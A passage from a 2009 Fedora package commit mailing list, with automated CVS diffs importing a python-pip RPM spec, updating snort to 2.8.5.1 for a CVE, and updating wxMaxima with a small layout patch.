Update of /cvs/pkgs/rpms/python-pip/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12270/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-pip.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-pip-0_4-1_fc12:F-12:python-pip-0.4-1.fc12.src.rpm:1256520183


--- NEW FILE python-pip.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

%global srcname pip

Name:           python-%{srcname}
Version:        0.4
Release:        1%{?dist}
Summary:        Pip installs packages.  Python packages.  An easy_install replacement

Group:          Development/Libraries
License:        MIT
URL:            http://pip.openplans.org
Source0:        http://pypi.python.org/packages/source/p/pip/%{srcname}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel
BuildRequires:  python-setuptools-devel

%description

Pip is a replacement for `easy_install
<http://peak.telecommunity.com/DevCenter/EasyInstall>`_.  It uses mostly the
same techniques for finding packages, so packages that were made
easy_installable should be pip-installable as well.

pip is meant to improve on easy_install.bulletin boards, etc.).

%prep
%setup -q -n %{srcname}-%{version}
%{__sed} -i '1d' pip.py

%build
%{__python} setup.py build

%install
%{__rm} -rf %{buildroot}
%{__python} setup.py install -O1 --skip-build --root %{buildroot}

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc PKG-INFO docs
%attr(755,root,root) %{_bindir}/pip
%{python_sitelib}/pip*

%changelog
* Mon Aug 31 2009 Peter Halliday <phalliday at excelsiorsystems.net> - 0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:10:22 -0000	1.1
+++ .cvsignore	26 Oct 2009 01:27:21 -0000	1.2
@@ -0,0 +1 @@
+pip-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:10:22 -0000	1.1
+++ sources	26 Oct 2009 01:27:23 -0000	1.2
@@ -0,0 +1 @@
+b45714d04f8fd38fe8e3d4c7600b91a2  pip-0.4.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 01:54:33 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 01:54:33 +0000 (UTC)
Subject: rpms/snort/F-12 .cvsignore, 1.12, 1.13 snort.spec, 1.41,
	1.42 sources, 1.12, 1.13 snort-2.7.0.1-glibc.patch, 1.1, NONE
Message-ID: <20091026015433.4E42811C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/snort/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23722

Modified Files:
	.cvsignore snort.spec sources 
Removed Files:
	snort-2.7.0.1-glibc.patch 
Log Message:
update snort for CVE



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	17 Feb 2009 00:33:24 -0000	1.12
+++ .cvsignore	26 Oct 2009 01:54:31 -0000	1.13
@@ -1 +1 @@
-snort-2.8.3.2.tar.gz
+snort-2.8.5.1.tar.gz


Index: snort.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-12/snort.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- snort.spec	27 Jul 2009 04:31:49 -0000	1.41
+++ snort.spec	26 Oct 2009 01:54:32 -0000	1.42
@@ -1,14 +1,13 @@
 Summary:        Intrusion detection system
 Name:           snort
-Version:        2.8.3.2
-Release:        4%{?dist}
+Version:        2.8.5.1
+Release:        1%{?dist}
 License:        GPLv2
 Group:          Applications/Internet
 Source0:        http://www.snort.org/dl/current/snort-%{version}.tar.gz
 Source1:        snortd
 Source2:        README.fedora
 Source3:        sysconfig.snort
-Patch0:         snort-2.7.0.1-glibc.patch
 Url:            http://www.snort.org
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires:       libpcap >= 0.4
@@ -147,7 +146,6 @@ Requires libnet rpm.
 
 %prep
 %setup -q
-%patch0 -p1 -b .glibc
 cp %{SOURCE2} doc/
 sed -i -e 's|libnet-config|libnet10-config|g' configure
 sed -i -e 's|\-lnet|\-lnet10|g' configure
@@ -495,6 +493,9 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Dennis Gilmore <dennis at ausil.us> - 2.8.5.1-1
+- update for CVE-2009-3641
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.3.2-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	17 Feb 2009 00:33:24 -0000	1.12
+++ sources	26 Oct 2009 01:54:32 -0000	1.13
@@ -1 +1 @@
-f75547da33446ddb4ca07eefd9ce31dc  snort-2.8.3.2.tar.gz
+b1abf3a9fa3486720c9a2b5eff920417  snort-2.8.5.1.tar.gz


--- snort-2.7.0.1-glibc.patch DELETED ---



From ausil at fedoraproject.org  Mon Oct 26 02:27:35 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 02:27:35 +0000 (UTC)
Subject: rpms/snort/F-11 .cvsignore, 1.12, 1.13 snort.spec, 1.39,
	1.40 sources, 1.12, 1.13 snort-2.7.0.1-glibc.patch, 1.1, NONE
Message-ID: <20091026022735.AB2E711C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/snort/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1138

Modified Files:
	.cvsignore snort.spec sources 
Removed Files:
	snort-2.7.0.1-glibc.patch 
Log Message:
updat for CVE



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-11/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	17 Feb 2009 00:33:24 -0000	1.12
+++ .cvsignore	26 Oct 2009 02:27:35 -0000	1.13
@@ -1 +1 @@
-snort-2.8.3.2.tar.gz
+snort-2.8.5.1.tar.gz


Index: snort.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-11/snort.spec,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- snort.spec	26 Feb 2009 01:51:09 -0000	1.39
+++ snort.spec	26 Oct 2009 02:27:35 -0000	1.40
@@ -1,14 +1,13 @@
 Summary:        Intrusion detection system
 Name:           snort
-Version:        2.8.3.2
-Release:        2%{?dist}
+Version:        2.8.5.1
+Release:        1%{?dist}
 License:        GPLv2
 Group:          Applications/Internet
 Source0:        http://www.snort.org/dl/current/snort-%{version}.tar.gz
 Source1:        snortd
 Source2:        README.fedora
 Source3:        sysconfig.snort
-Patch0:         snort-2.7.0.1-glibc.patch
 Url:            http://www.snort.org
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires:       libpcap >= 0.4
@@ -24,7 +23,7 @@ BuildRequires:  libprelude-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 
 %package        mysql
 Summary:        Snort with Flexible Response
@@ -36,7 +35,7 @@ BuildRequires:  mysql-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  mysql-devel
 
 %package        postgresql
@@ -49,7 +48,7 @@ BuildRequires:  postgresql-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  postgresql-devel
 
 %package        snmp
@@ -63,7 +62,7 @@ BuildRequires:  openssl-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  net-snmp-devel
 BuildRequires:  openssl-devel
 
@@ -71,7 +70,7 @@ BuildRequires:  openssl-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  net-snmp-devel
 BuildRequires:  postgresql-devel
 BuildRequires:  mysql-devel
@@ -147,10 +146,9 @@ Requires libnet rpm.
 
 %prep
 %setup -q
-%patch0 -p1 -b .glibc
 cp %{SOURCE2} doc/
-sed -i -e 's|libnet-config|libnet-config-1.0|g' configure
-sed -i -e 's|\-lnet|\-lnet-1.0|g' configure
+sed -i -e 's|libnet-config|libnet10-config|g' configure
+sed -i -e 's|\-lnet|\-lnet10|g' configure
 
 %build
 
@@ -495,6 +493,15 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Dennis Gilmore <dennis at ausil.us> - 2.8.5.1-1
+- update for CVE-2009-3641
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.3.2-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Apr 19 2009 Robert Scheck <robert at fedoraproject.org> - 2.8.3.2-3
+- Build require package libnet10-devel rather libnet10
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.3.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-11/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	17 Feb 2009 00:33:24 -0000	1.12
+++ sources	26 Oct 2009 02:27:35 -0000	1.13
@@ -1 +1 @@
-f75547da33446ddb4ca07eefd9ce31dc  snort-2.8.3.2.tar.gz
+b1abf3a9fa3486720c9a2b5eff920417  snort-2.8.5.1.tar.gz


--- snort-2.7.0.1-glibc.patch DELETED ---



From hoangelos at fedoraproject.org  Mon Oct 26 02:52:32 2009
From: hoangelos at fedoraproject.org (Peter Halliday)
Date: Mon, 26 Oct 2009 02:52:32 +0000 (UTC)
Subject: rpms/python-pip/EL-4 python-pip.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091026025232.1A89011C00E5@cvs1.fedora.phx.redhat.com>

Author: hoangelos

Update of /cvs/pkgs/rpms/python-pip/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4942/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	python-pip.spec 
Log Message:
initial import



--- NEW FILE python-pip.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

%global srcname pip

Name:           python-%{srcname}
Version:        0.4
Release:        1%{?dist}
Summary:        Pip installs packages.  Python packages.  An easy_install replacement

Group:          Development/Libraries
License:        MIT
URL:            http://pip.openplans.org
Source0:        http://pypi.python.org/packages/source/p/pip/%{srcname}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel
BuildRequires:  python-setuptools-devel

%description

Pip is a replacement for `easy_install
<http://peak.telecommunity.com/DevCenter/EasyInstall>`_.  It uses mostly the
same techniques for finding packages, so packages that were made
easy_installable should be pip-installable as well.

pip is meant to improve on easy_install.bulletin boards, etc.).

%prep
%setup -q -n %{srcname}-%{version}
%{__sed} -i '1d' pip.py

%build
%{__python} setup.py build

%install
%{__rm} -rf %{buildroot}
%{__python} setup.py install -O1 --skip-build --root %{buildroot}

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc PKG-INFO docs
%attr(755,root,root) %{_bindir}/pip
%{python_sitelib}/pip*

%changelog
* Mon Aug 31 2009 Peter Halliday <phalliday at excelsiorsystems.net> - 0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:10:22 -0000	1.1
+++ .cvsignore	26 Oct 2009 02:52:31 -0000	1.2
@@ -0,0 +1 @@
+pip-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:10:22 -0000	1.1
+++ sources	26 Oct 2009 02:52:31 -0000	1.2
@@ -0,0 +1 @@
+b45714d04f8fd38fe8e3d4c7600b91a2  pip-0.4.tar.gz



From hoangelos at fedoraproject.org  Mon Oct 26 02:54:37 2009
From: hoangelos at fedoraproject.org (Peter Halliday)
Date: Mon, 26 Oct 2009 02:54:37 +0000 (UTC)
Subject: rpms/python-pip/EL-5 import.log, NONE, 1.1 python-pip.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091026025437.D26CB11C00E5@cvs1.fedora.phx.redhat.com>

Author: hoangelos

Update of /cvs/pkgs/rpms/python-pip/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5508/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-pip.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-pip-0_4-1_el5:EL-5:python-pip-0.4-1.el5.src.rpm:1256525657


--- NEW FILE python-pip.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

%global srcname pip

Name:           python-%{srcname}
Version:        0.4
Release:        1%{?dist}
Summary:        Pip installs packages.  Python packages.  An easy_install replacement

Group:          Development/Libraries
License:        MIT
URL:            http://pip.openplans.org
Source0:        http://pypi.python.org/packages/source/p/pip/%{srcname}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel
BuildRequires:  python-setuptools-devel

%description

Pip is a replacement for `easy_install
<http://peak.telecommunity.com/DevCenter/EasyInstall>`_.  It uses mostly the
same techniques for finding packages, so packages that were made
easy_installable should be pip-installable as well.

pip is meant to improve on easy_install.bulletin boards, etc.).

%prep
%setup -q -n %{srcname}-%{version}
%{__sed} -i '1d' pip.py

%build
%{__python} setup.py build

%install
%{__rm} -rf %{buildroot}
%{__python} setup.py install -O1 --skip-build --root %{buildroot}

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc PKG-INFO docs
%attr(755,root,root) %{_bindir}/pip
%{python_sitelib}/pip*

%changelog
* Mon Aug 31 2009 Peter Halliday <phalliday at excelsiorsystems.net> - 0.4-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	22 Oct 2009 04:10:22 -0000	1.1
+++ .cvsignore	26 Oct 2009 02:54:37 -0000	1.2
@@ -0,0 +1 @@
+pip-0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-pip/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	22 Oct 2009 04:10:22 -0000	1.1
+++ sources	26 Oct 2009 02:54:37 -0000	1.2
@@ -0,0 +1 @@
+b45714d04f8fd38fe8e3d4c7600b91a2  pip-0.4.tar.gz



From rdieter at fedoraproject.org  Mon Oct 26 02:55:36 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 02:55:36 +0000 (UTC)
Subject: rpms/wxMaxima/F-12 wxMaxima-0.8.3a-ltr_layout.patch, NONE,
	1.1 .cvsignore, 1.12, 1.13 sources, 1.11, 1.12 wxMaxima.spec,
	1.31, 1.32 wxMaxima-0.8.2-ltr_layout.patch, 1.1, NONE
Message-ID: <20091026025536.311E011C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wxMaxima/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5725/F-12

Modified Files:
	.cvsignore sources wxMaxima.spec 
Added Files:
	wxMaxima-0.8.3a-ltr_layout.patch 
Removed Files:
	wxMaxima-0.8.2-ltr_layout.patch 
Log Message:
* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.3a-1
- wxMaxima-0.8.3a (#530915)


wxMaxima-0.8.3a-ltr_layout.patch:
 MathCtrl.cpp |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE wxMaxima-0.8.3a-ltr_layout.patch ---
diff -up wxMaxima-0.8.3a/src/MathCtrl.cpp.ltr_layout wxMaxima-0.8.3a/src/MathCtrl.cpp
--- wxMaxima-0.8.3a/src/MathCtrl.cpp.ltr_layout	2009-07-29 11:10:32.000000000 -0500
+++ wxMaxima-0.8.3a/src/MathCtrl.cpp	2009-10-25 21:44:12.939696128 -0500
@@ -86,6 +86,8 @@ MathCtrl::MathCtrl(wxWindow* parent, int
   m_zoomFactor = 1.0; // set zoom to 100%
   m_evaluationQueue = new EvaluationQueue();
   AdjustSize();
+  // hack to workaround problems in RtL locales, http://bugzilla.redhat.com/455863
+  SetLayoutDirection(wxLayout_LeftToRight);
 }
 
 MathCtrl::~MathCtrl() {


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	29 Jun 2009 16:46:11 -0000	1.12
+++ .cvsignore	26 Oct 2009 02:55:35 -0000	1.13
@@ -1 +1 @@
-wxMaxima-0.8.2.tar.gz
+wxMaxima-0.8.3a.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	29 Jun 2009 16:46:11 -0000	1.11
+++ sources	26 Oct 2009 02:55:35 -0000	1.12
@@ -1 +1 @@
-d3d4abde8495aebb295df587587de4a8  wxMaxima-0.8.2.tar.gz
+23118fa17246fd898f1eefe61e0b3893  wxMaxima-0.8.3a.tar.gz


Index: wxMaxima.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/F-12/wxMaxima.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- wxMaxima.spec	27 Jul 2009 07:31:02 -0000	1.31
+++ wxMaxima.spec	26 Oct 2009 02:55:35 -0000	1.32
@@ -3,8 +3,8 @@
 
 Summary: Graphical user interface for Maxima 
 Name:    wxMaxima
-Version: 0.8.2
-Release: 4%{?dist}
+Version: 0.8.3a
+Release: 1%{?dist}
 
 License: GPLv2+
 Group:   Applications/Engineering
@@ -12,7 +12,8 @@ URL:     http://wxmaxima.sourceforge.net
 Source0: http://downloads.sourceforge.net/sourceforge/wxmaxima/wxMaxima-%{version}.tar.gz 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Patch1: wxMaxima-0.8.2-ltr_layout.patch
+## upstreamable patches
+Patch50: wxMaxima-0.8.3a-ltr_layout.patch
 
 # Deployable only where maxima exsists.
 %if 0%{?fedora} > 8
@@ -40,7 +41,7 @@ Maxima using wxWidgets.
 %prep
 %setup -q
 
-%patch1 -p1 -b .ltr_layout
+%patch50 -p1 -b .ltr_layout
 
 
 %build
@@ -105,8 +106,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
-* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.2-4
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.3a-1
+- wxMaxima-0.8.3a (#530915)
 
 * Sat Jul 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.2-3
 - Requires: maxima >= 5.18


--- wxMaxima-0.8.2-ltr_layout.patch DELETED ---



From rdieter at fedoraproject.org  Mon Oct 26 02:55:36 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 02:55:36 +0000 (UTC)
Subject: rpms/wxMaxima/devel wxMaxima-0.8.3a-ltr_layout.patch, NONE,
	1.1 .cvsignore, 1.12, 1.13 sources, 1.11, 1.12 wxMaxima.spec,
	1.31, 1.32 wxMaxima-0.8.2-ltr_layout.patch, 1.1, NONE
Message-ID: <20091026025536.79E4411C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/wxMaxima/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5725/devel

Modified Files:
	.cvsignore sources wxMaxima.spec 
Added Files:
	wxMaxima-0.8.3a-ltr_layout.patch 
Removed Files:
	wxMaxima-0.8.2-ltr_layout.patch 
Log Message:
* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.3a-1
- wxMaxima-0.8.3a (#530915)


wxMaxima-0.8.3a-ltr_layout.patch:
 MathCtrl.cpp |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE wxMaxima-0.8.3a-ltr_layout.patch ---
diff -up wxMaxima-0.8.3a/src/MathCtrl.cpp.ltr_layout wxMaxima-0.8.3a/src/MathCtrl.cpp
--- wxMaxima-0.8.3a/src/MathCtrl.cpp.ltr_layout	2009-07-29 11:10:32.000000000 -0500
+++ wxMaxima-0.8.3a/src/MathCtrl.cpp	2009-10-25 21:44:12.939696128 -0500
@@ -86,6 +86,8 @@ MathCtrl::MathCtrl(wxWindow* parent, int
   m_zoomFactor = 1.0; // set zoom to 100%
   m_evaluationQueue = new EvaluationQueue();
   AdjustSize();
+  // hack to workaround problems in RtL locales, http://bugzilla.redhat.com/455863
+  SetLayoutDirection(wxLayout_LeftToRight);
 }
 
 MathCtrl::~MathCtrl() {


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	29 Jun 2009 16:46:11 -0000	1.12
+++ .cvsignore	26 Oct 2009 02:55:36 -0000	1.13
@@ -1 +1 @@
-wxMaxima-0.8.2.tar.gz
+wxMaxima-0.8.3a.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	29 Jun 2009 16:46:11 -0000	1.11
+++ sources	26 Oct 2009 02:55:36 -0000	1.12
@@ -1 +1 @@
-d3d4abde8495aebb295df587587de4a8  wxMaxima-0.8.2.tar.gz
+23118fa17246fd898f1eefe61e0b3893  wxMaxima-0.8.3a.tar.gz


Index: wxMaxima.spec
===================================================================
RCS file: /cvs/pkgs/rpms/wxMaxima/devel/wxMaxima.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- wxMaxima.spec	27 Jul 2009 07:31:02 -0000	1.31
+++ wxMaxima.spec	26 Oct 2009 02:55:36 -0000	1.32
@@ -3,8 +3,8 @@
 
 Summary: Graphical user interface for Maxima 
 Name:    wxMaxima
-Version: 0.8.2
-Release: 4%{?dist}
+Version: 0.8.3a
+Release: 1%{?dist}
 
 License: GPLv2+
 Group:   Applications/Engineering
@@ -12,7 +12,8 @@ URL:     http://wxmaxima.sourceforge.net
 Source0: http://downloads.sourceforge.net/sourceforge/wxmaxima/wxMaxima-%{version}.tar.gz 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Patch1: wxMaxima-0.8.2-ltr_layout.patch
+## upstreamable patches
+Patch50: wxMaxima-0.8.3a-ltr_layout.patch
 
 # Deployable only where maxima exsists.
 %if 0%{?fedora} > 8
@@ -40,7 +41,7 @@ Maxima using wxWidgets.
 %prep
 %setup -q
 
-%patch1 -p1 -b .ltr_layout
+%patch50 -p1 -b .ltr_layout
 
 
 %build
@@ -105,8 +106,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
-* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.2-4
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Sun Oct 25 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.3a-1
+- wxMaxima-0.8.3a (#530915)
 
 * Sat Jul 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.8.2-3
 - Requires: maxima >= 5.18


--- wxMaxima-0.8.2-ltr_layout.patch DELETED ---



From ausil at fedoraproject.org  Mon Oct 26 03:00:08 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 03:00:08 +0000 (UTC)
Subject: rpms/snort/F-10 .cvsignore, 1.11, 1.12 snort.spec, 1.36,
	1.37 sources, 1.11, 1.12 snort-2.7.0.1-glibc.patch, 1.1, NONE
Message-ID: <20091026030008.554E311C02C6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/snort/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6425

Modified Files:
	.cvsignore snort.spec sources 
Removed Files:
	snort-2.7.0.1-glibc.patch 
Log Message:
update snort for CVE



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	15 May 2008 22:11:19 -0000	1.11
+++ .cvsignore	26 Oct 2009 03:00:07 -0000	1.12
@@ -1 +1 @@
-snort-2.8.1.tar.gz
+snort-2.8.5.1.tar.gz


Index: snort.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snort/F-10/snort.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- snort.spec	2 Jul 2008 17:06:27 -0000	1.36
+++ snort.spec	26 Oct 2009 03:00:07 -0000	1.37
@@ -1,14 +1,13 @@
 Summary:        Intrusion detection system
 Name:           snort
-Version:        2.8.1
-Release:        5%{?dist}
+Version:        2.8.5.1
+Release:        1%{?dist}
 License:        GPLv2
 Group:          Applications/Internet
 Source0:        http://www.snort.org/dl/current/snort-%{version}.tar.gz
 Source1:        snortd
 Source2:        README.fedora
 Source3:        sysconfig.snort
-Patch0:         snort-2.7.0.1-glibc.patch
 Url:            http://www.snort.org
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root
 Requires:       libpcap >= 0.4
@@ -24,7 +23,7 @@ BuildRequires:  libprelude-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 
 %package        mysql
 Summary:        Snort with Flexible Response
@@ -36,7 +35,7 @@ BuildRequires:  mysql-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  mysql-devel
 
 %package        postgresql
@@ -49,7 +48,7 @@ BuildRequires:  postgresql-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  postgresql-devel
 
 %package        snmp
@@ -63,7 +62,7 @@ BuildRequires:  openssl-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  net-snmp-devel
 BuildRequires:  openssl-devel
 
@@ -71,7 +70,7 @@ BuildRequires:  openssl-devel
 Summary:        Snort with Flexible Response
 Group:          Applications/Internet
 Requires:       %{name} = %{version}-%{release}
-BuildRequires:  libnet10
+BuildRequires:  libnet10-devel
 BuildRequires:  net-snmp-devel
 BuildRequires:  postgresql-devel
 BuildRequires:  mysql-devel
@@ -147,10 +146,9 @@ Requires libnet rpm.
 
 %prep
 %setup -q
-%patch0 -p1 -b .glibc
 cp %{SOURCE2} doc/
-sed -i -e 's|libnet-config|libnet-config-1.0|g' configure
-sed -i -e 's|\-lnet|\-lnet-1.0|g' configure
+sed -i -e 's|libnet-config|libnet10-config|g' configure
+sed -i -e 's|\-lnet|\-lnet10|g' configure
 
 %build
 
@@ -495,6 +493,24 @@ fi
 
 
 %changelog
+* Sun Oct 25 2009 Dennis Gilmore <dennis at ausil.us> - 2.8.5.1-1
+- update for CVE-2009-3641
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8.3.2-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sun Apr 19 2009 Robert Scheck <robert at fedoraproject.org> - 2.8.3.2-3
+- Build require package libnet10-devel rather libnet10
+
